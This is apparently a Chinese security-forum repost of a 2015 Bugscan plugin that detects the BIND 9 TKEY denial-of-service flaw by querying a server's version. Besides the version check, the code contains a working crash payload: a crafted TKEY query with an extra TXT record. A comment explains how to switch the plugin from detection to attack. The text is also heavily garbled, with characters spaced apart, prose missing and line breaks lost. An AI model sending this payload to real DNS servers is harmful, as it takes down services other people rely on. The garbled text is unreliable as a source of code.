[2356] 2015-10-12_BIND9DOS检测

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-16
2015-10-12_BIND9DOS检测 B I N D   9   D O S B u g s c a n   E   2 0 1 5 - 1 0 - 1 2 E E I D : E A Q a p p B I N D   9   D N S   R D A T A B I N D 广 D N S I S C   B I N D D N S R D A T A R D A T A R E Q U I R E 使 I S C   B I N D   9 . 9 . 7 - P 2 9 . 1 0 . 2 - P 3 n a m e d # ! / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   @ D a t e   :   2 0 1 5 - 0 8 - 0 5   1 7 : 3 4 : 4 9 #   @ A u t h o r   :   M e d i c i . Y a n   ( M e d i c i . Y a n @ g m a i l . c o m ) #   @ L i n k   :   h t t p : / / b l o g . e v a l b u g . c o m # # D N S B i n d 9   D O S d o s i m p o r t   s t r u c t , s o c k e t , r e d e f   a s s i g n ( s e r v i c e ,   a r g ) : i f   s e r v i c e   = =   " i p " : r e t u r n   T r u e ,   a r g d e f   a u d i t ( a r g ) : h o s t   =   a r g p o r t = 5 3 p r o t o c o l   =   N o n e v e r s i o n = N o n e u s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ D G R A M ) s o c k e t . s e t d e f a u l t t i m e o u t ( 5 ) t r y : # i f   w a n t   t o   a t t a c k   c h a n g e  
# p a y l o a d = g e t _ d o s _ p a y l o a d ( ) p a y l o a d = g e t _ q u e r y _ p a y l o a d ( ) u s . s e n d t o ( p a y l o a d , ( h o s t , p o r t ) ) d a t a = u s . r e c v f r o m ( 1 0 2 4 ) v e r s i o n = g e t V e r s i o n ( d a t a [ 0 ] , p a y l o a d ) p r o t o c o l = ' D N S ' v e r s i o n = r e . s u b ( r ' [ ^ a - z A - Z 0 - 9 . - _ ] ' ,   ' ' ,   v e r s i o n ) s e c u r i t y _ n o t e ( ' u d p / 5 3 = > [ % s ] ; V e r   = > % s ' % ( p r o t o c o l , v e r s i o n ) ) g u e s s D o s ( v e r s i o n ) e x c e p t   E x c e p t i o n ,   e : p a s s d e f   g u e s s D o s ( v e r s i o n ) : # h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 7 7 2 1 / # B I N D   9 . 1 . 0 ~ 9 . 9 . 7 - P 1 , # B I N D   9 . 1 0 . 0 ~ B I N D   9 . 1 0 . 2 - P 2 s a f e _ m a t c h e s = [ r ' 9 . 9 . 7 - P 2 ' ,   r ' 9 . 1 0 . 2 - P 3 ' ] h o l e _ m a t c h e s = [ r ' 9 . 9 . 7 - P 1 ' ,   r ' 9 . 1 0 . 2 - P [ 1 2 ] ' ,   r ' 9 . 1 0 . [ 0 - 2 ] ' ,   r ' 9 . [ 1 - 9 ] . d ' ] w a r n i n g _ m a t c h e s = [ r ' b i n d 9 ' , r ' b i n d ' ] f o r   i   i n   r a n g e ( l e n ( s a f e _ m a t c h e s ) ) : s a f e m a t c h = r e . s e a r c h ( s a f e _ m a t c h e s [ i ]   ,   v e r s i o n ,   r e . M | r e . I ) i f   s a f e m a t c h :   # s a f e   v e r s i o n r e t u r n f o r   i   i n   r a n g e ( l e n ( h o l e _ m a t c h e s ) ) : h o l e m a t c h = r e . s e a r c h ( h o l e _ m a t c h e s [ i ]   ,   v e r s i o n ,   r e . M | r e . I ) i f   h o l e m a t c h : s e c u r i t y _ h o l e ( ' B i n d 9   t k e y   a s s e r t   d o s . V e r s i o n = > % s ' % ( v e r s i o n ) ) r e t u r n f o r   i   i n   r a n g e ( l e n ( w a r n i n g _ m a t c h e s ) )   : w a r n i n g m a t c h e = r e . s e a r c h ( w a r n i n g _ m a t c h e s [ i ]   ,   v e r s i o n   , r e . M | r e . I ) i f   w a r n i n g m a t c h e : s e c u r i t y _ i n f o ( ' M a y B e   h a v e = > B i n d 9   t k e y   a s s e r t   d o s . V e r s i o n = > % s ' % ( v e r s i o n ) ) r e t u r n d e f   g e t _ q u e r y _ p a y l o a d ( ) : T r a n s a c t i o n I D = 0 x 0 3 0 4
F l a g s = 0 x 0 1 0 0   # 0   0 0 0 0   0   1   0   0 Q u e s t i o n s = 1 A n s w e r R R s = 0 A u t h o r i t y R R s = 0 A d d i t i o n a l R R s = 0 q u e r i e s _ n a m e = ' v e r s i o n . b i n d ' q u e r i e s _ t y p e = 0 x 0 0 1 0   # T X T q u e r i e s _ c l a s s = 0 x 0 0 0 3   # C H q u e r i e s _ n a m e _ t e m p = q u e r i e s _ n a m e . s p l i t ( ' . ' ) q u e r i e s = ' ' f o r   i   i n   r a n g e ( l e n ( q u e r i e s _ n a m e _ t e m p ) ) : q u e r i e s + = s t r u c t . p a c k ( ' ! B ' + s t r ( l e n ( q u e r i e s _ n a m e _ t e m p [ i ] ) ) + ' s ' , l e n ( q u e r i e s _ n a m e _ t e m p [ i ] ) , q u e r i e s _ n a m e _ t e m p [ i ] ) q u e r i e s + = ' x 0 0 ' q u e r i e s + = s t r u c t . p a c k ( ' ! H H ' , q u e r i e s _ t y p e , q u e r i e s _ c l a s s ) p a y l o a d = s t r u c t . p a c k ( ' ! H H H H H H ' ,   T r a n s a c t i o n I D ,   F l a g s , Q u e s t i o n s , A n s w e r R R s , A u t h o r i t y R R s , A d d i t i o n a l R R s ) + q u e r i e s r e t u r n   p a y l o a d d e f   g e t _ d o s _ p a y l o a d ( ) : T r a n s a c t i o n I D = 0 x 0 1 0 2 F l a g s = 0 x 0 1 0 0   # 0   0 0 0 0   0   1   0   0 Q u e s t i o n s = 1 A n s w e r R R s = 0 A u t h o r i t y R R s = 0 A d d i t i o n a l R R s = 1   # 1 # d n s _ h e a d e r = s t r u c t . p a c k ( ' ! H H H H H H ' ,   T r a n s a c t i o n I D ,   F l a g s , Q u e s t i o n s , A n s w e r R R s , A u t h o r i t y R R s , A d d i t i o n a l R R s ) # q u e r i e s _ n a m e = ' f o o . b a r ' q u e r i e s _ t y p e = 0 x 0 0 f 9   # T K E Y q u e r i e s _ c l a s s = 0 x 0 0 f f   # A n y q u e r i e s _ n a m e _ t e m p = q u e r i e s _ n a m e . s p l i t ( ' . ' ) q u e r i e s = ' ' f o r   i   i n   r a n g e ( l e n ( q u e r i e s _ n a m e _ t e m p ) ) : q u e r i e s + = s t r u c t . p a c k ( ' ! B ' + s t r ( l e n ( q u e r i e s _ n a m e _ t e m p [ i ] ) ) + ' s ' , l e n ( q u e r i e s _ n a m e _ t e m p [ i ] ) , q u e r i e s _ n a m e _ t e m p [ i ] ) q u e r i e s + = ' x 0 0 ' q u e r i e s + = s t r u c t . p a c k ( ' ! H H ' , q u e r i e s _ t y p e , q u e r i e s _ c l a s s )
# a d d i t i o n a l _ n a m e = ' f o o . b a r ' a d d i t i o n a l _ t y p e = 0 x 0 0 1 0   # T X T a d d i t i o n a l _ c l a s s = 0 x 0 0 f f   # A n y t i m e t o l i v e = 0   # L t x t = ' h t t p s : / / g i t h u b . c o m / r o b e r t d a v i d g r a h a m / c v e - 2 0 1 5 - 5 4 7 7 ' t x t _ l e n g t h = l e n ( t x t ) d a t a _ l e n g t h = t x t _ l e n g t h + 1 # a d d t i o n a l _ n a m e _ t e m p = a d d i t i o n a l _ n a m e . s p l i t ( ' . ' ) a d d i t i o n a l = ' ' f o r   i   i n   r a n g e ( l e n ( a d d t i o n a l _ n a m e _ t e m p ) ) : a d d i t i o n a l + = s t r u c t . p a c k ( ' ! B ' + s t r ( l e n ( a d d t i o n a l _ n a m e _ t e m p [ i ] ) ) + ' s ' , l e n ( a d d t i o n a l _ n a m e _ t e m p [ i ] ) , a d d t i o n a l _ n a m e _ t e m p [ i ] ) a d d i t i o n a l + = ' x 0 0 ' a d d i t i o n a l + = s t r u c t . p a c k ( ' ! H H L H B ' + s t r ( t x t _ l e n g t h ) + ' s ' , a d d i t i o n a l _ t y p e , a d d i t i o n a l _ c l a s s , t i m e t o l i v e , d a t a _ l e n g t h , t x t _ l e n g t h , t x t ) # p a y l o a d = d n s _ h e a d e r + q u e r i e s + a d d i t i o n a l r e t u r n   p a y l o a d d e f   g e t V e r s i o n ( d a t a , p a y l o a d ) : q u e r y _ p a y l o a d = p a y l o a d v e r = ' ' i f   l e n ( d a t a ) < 1 2 : r e t u r n   F a l s e i f   d a t a [ 0 : 2 ] ! = q u e r y _ p a y l o a d [ 0 : 2 ] : r e t u r n   F a l s e i f   ( o r d ( d a t a [ 2 ] ) & 0 x 8 0 ) ! = 0 x 8 0 : r e t u r n   F a l s e i f   ( o r d ( d a t a [ 3 ] ) & 0 x 0 F ) ! = 0 : r e t u r n   F a l s e i = 1 2 # s k i p   q u e r y   n a m e w h i l e   i < l e n ( d a t a ) : i f   o r d ( d a t a [ i ] ) = = 0 : i + = 1
b r e a k ; e l i f   ( o r d ( d a t a [ i ] ) & 0 x C 0 ) = = 0 x C 0 : i + = 2 b r e a k e l s e : i + = o r d ( d a t a [ i ] ) + 1 i + = 4 w h i l e   ( i + 1 2 < = l e n ( d a t a ) ) : w h i l e   i < l e n ( d a t a ) : i f   o r d ( d a t a [ i ] ) = = 0 : i + = 1 b r e a k e l i f   ( o r d ( d a t a [ i ] ) & 0 x C 0 ) = = 0 x C 0 : i + = 2 b r e a k e l s e : i + = o r d ( d a t a [ i ] ) + 1 i f   i + 1 0 > l e n ( d a t a ) : b r e a k ; t = o r d ( d a t a [ i + 0 ] ) < < 8 | o r d ( d a t a [ i + 1 ] ) c = o r d ( d a t a [ i + 2 ] ) < < 8 | o r d ( d a t a [ i + 3 ] ) l = o r d ( d a t a [ i + 8 ] ) < < 8 | o r d ( d a t a [ i + 9 ] ) i   + =   1 0 ; i f   t ! = 1 6   o r   c ! = 3 : i + = l c o n t i n u e i f   l > l e n ( d a t a ) - i : l = l e n ( d a t a ) - i v e r + = d a t a [ i : i + l ] r e t u r n   v e r i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : f r o m   d u m m y   i m p o r t   * a u d i t ( a s s i g n ( ' i p ' , ' h t t p : / / w w w . e x a m p l e . c o m / ' ) [ 1 ] ) # I P Z o o m e y e   b i n d 9  
访 访 b u g s c a n h t t p : / / q . b u g s c a n . n e t / h t t p s : / / w w w . b u g s c a n . n e t   E E E 便
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则